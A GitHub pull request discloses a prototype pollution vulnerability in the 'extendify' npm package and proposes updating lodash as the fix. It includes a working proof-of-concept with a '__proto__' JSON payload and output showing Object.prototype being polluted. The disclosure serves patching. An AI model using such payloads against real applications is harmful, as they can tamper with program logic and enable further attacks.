Skip to content

Prototype pollution (Fixed)#15

Open
luci-m-666 wants to merge 1 commit intobigShai:masterfrom
luci-m-666:master
Open

Prototype pollution (Fixed)#15
luci-m-666 wants to merge 1 commit intobigShai:masterfrom
luci-m-666:master

Conversation

@luci-m-666
Copy link

This package is vulnerable to prototype pollution.
POC

var extendify = require("extendify")
extend = extendify({isDeep: true});
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
var obj = {}
console.log("Before : " + {}.polluted);
extend(obj, payload);
console.log("After : " + {}.polluted);

OUTPUT

Before : undefined
After : Yes! Its Polluted

This can be fixed by updating the lodash version. After fix the prototype pollution can be avoided.

Before : undefined
After : undefined

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant